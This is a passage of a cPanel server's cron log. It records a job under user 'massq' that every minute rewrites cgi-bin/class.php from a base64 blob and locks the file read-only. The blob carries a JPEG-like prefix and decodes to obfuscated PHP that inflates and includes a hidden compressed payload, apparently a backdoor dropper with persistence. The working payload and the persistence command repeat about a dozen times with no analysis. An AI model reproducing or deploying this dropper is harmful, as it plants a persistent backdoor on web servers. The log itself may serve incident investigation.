&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:25:01 server CROND[26174]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 15:25:01 server CROND[26175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:25:01 server CROND[26176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:26:01 server CROND[27143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:27:01 server CROND[27971]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:27:01 server CROND[27970]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 15:28:01 server CROND[28783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:29:01 server CROND[29548]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:30:01 server CROND[30375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:30:01 server CROND[30377]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 15:30:01 server CROND[30376]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 15:30:01 server CROND[30378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:31:01 server CROND[31282]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:32:01 server CROND[32325]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:33:01 server CROND[694]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:34:01 server CROND[1504]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:35:01 server CROND[2337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 15:35:01 server CROND[2340]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:35:01 server CROND[2347]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 15:35:01 server CROND[2350]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 15:35:01 server CROND[2348]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:36:01 server CROND[3351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
